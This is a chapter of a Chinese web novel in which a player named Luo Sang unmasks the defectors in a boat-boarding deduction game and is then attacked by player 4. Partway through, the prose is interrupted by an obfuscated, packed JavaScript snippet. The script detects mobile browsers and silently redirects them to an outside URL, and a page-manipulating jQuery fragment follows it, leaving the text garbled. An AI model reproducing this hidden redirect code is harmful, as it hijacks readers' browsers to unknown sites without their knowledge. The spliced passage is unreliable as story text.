听骆桑这么一说,詹姆斯和小个子也都回想起了当时的情形。那个后来的逃生者被阻挡在了船舷之外,没能上船,死在了那里。 “5号速度慢,你带着5号本来是慢慢走的。” 骆桑继续,“可你看到了另一个人要上船,他的速度更快,于是你用暴力把5号扛起来就跑,赶在那人之前上了船。” “之后我问你,是不是知道得凑齐5个人船才会开,你都不理别人却理了我的这个问题,回答说不知道。你是怕泄露你有更多信息这个事实吧?” 壮汉硕大的拳头悄然握紧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557047|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>骆桑:“当把这些疑点都串起来,一切就很好解释了。2号和4号,你们事先就知道要玩一个什么游戏,知道自己的身份,知道游戏限定5个人。” “但忠诚者方的3个人不确定,反正蓝方各自为政,谁先上船谁就加入。荒野上不断有新的死者穿越而来,你们不知道会和什么样的3个人对决,于是你们决定主动出击,自己去寻找对手。” “于是,2号找了个要死不活的,还获得了对方的好感,4号就更绝了,直接找了个疯子。这游戏要是这么开局,可不是赢麻了?” “可惜疯子不配合,4号不得不重新找人,这才找到了5号。” 骆桑朝壮汉微微一笑:“你是看5号人小,还是个女生,觉得怎么都比那个单独逃生的男的好对付吧?要不你大可以扔了5号,让那个男的先上船。呵……只是万万想不到,到头来,你看不上的这个小女生,把你给坑了~” 壮汉的额上暴起条条青筋。 “我带着这种怀疑来看待这场对战,顺理成章理解了投敌者的战术:隐下一个人。” 骆桑把话截拉回对战本身,“在2人组投白色,让自己显得像忠诚者,这样就占掉了一个忠诚者的坑位,把另一个无法自证的忠诚者脏出局,忠诚者方就永远组不出一个正确的3人组。而隐下去的那个永远能在3人组里有一席之位,轻而易举就能制造3次失败。” “我就是笃定这个隐着的人不会在2人组投黑,才假装中了你们的圈套,在第三轮选1、2。反正只要投白,投敌者上也无所谓的。” 小个子露出恍然大悟的神色,那个快把她气死的选人,竟然是这么个目的。难怪3号那时候要使劲强调只要1、2再成功一轮就是必胜,其实是在叮嘱1、2中的那个投敌者千万要投白。 心机啊…… “当然,在这轮投票结果出来之前,这一切都还仅仅是我个人的猜测,没有证据,难以让人信服。” 骆桑继续,“没错吧,就算我说出对局平衡性的逻辑和我发现的那些疑点,你们顶多认为4号可疑,1号和2号里还是分不清。” “毕竟,2号身上的疑点本身就不明显,再加上在整局游戏里,他和1号的行为完全一致,4对待他们二人的态度和投票也没有任何分别,这很难100%地肯定1号和2号里的那个究竟是谁。” “1、2总是绑定在一起,那就必须找到一个办法把他们两个区别出来。” “于是我让5号选3、4、5,并用概率的逻辑强行占掉两个忠诚者的坑位,强行把1、2拆伙。这样2会担心,如果3、4、5没有通过,轮到1时,1不会再选自己,而是会提议1、3、5。” “这样一来,直接让3、4、5通过,就成了投敌者团队的最优解,毕竟4在队里,他来出黑就行,避免夜长梦多。” “这个时候,我又营造出了一种我不会投票的假象,让2担心只有4、5两票无法通过。反正最后一轮了,暴露也就暴露了,只要3、4、5一通过,投敌者方就是直线胜利。他想不到,其实5并不会投票。” “于是,2就冲了。” * 董鑫的这一举让他暴露无疑,2、4团队就这么裸了出来,无处可藏。 他听着骆桑陈述的这一席话,整个人如坠冰窖。 他完了。 骆桑的陈述花了不少时间,湖中仙女催促赶紧选人。 詹姆斯如梦初醒,朝湖中仙女转过身去。 “别搞错了啊,选1、3、5!”小个子提醒他。 詹姆斯浓密的胡子在发抖,他默了片刻,没有出声,又转回了头来。 他朝的不是小个子,而是董鑫,红着眼眶,一行眼泪滑落下来沾湿了胡须。 “小董……对不起……不论出于什么原因,你的确救了我。但我……没法报答你……” “呜……”董鑫在一瞬间崩溃,双腿发软瘫到甲板上,泪如雨下,一句话也说不出来。 “我是……1号……” 詹姆斯哽咽着向湖中仙女报告,“我提议1号、3号和5号……” 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 只有1、3、5做投票准备。 湖中仙女:【1号提议1号、3号和5号,三、二、一、请投票。】 1、3、5举手。 湖中仙女:【投票通过,请1号、3号和5号依次上前,将一枚鹅卵石投进箱子。】 这是骆桑第一次参与投石,她颠颠手中的锦囊,抬步加入投石者的队伍。 然而就在这时,背后嗖地一阵阴凉,她感觉有什么正急速朝她靠近! 她猛地转身,顿时瞳孔一缩 ——4号壮汉正手握那半截三叉戟朝她袭来!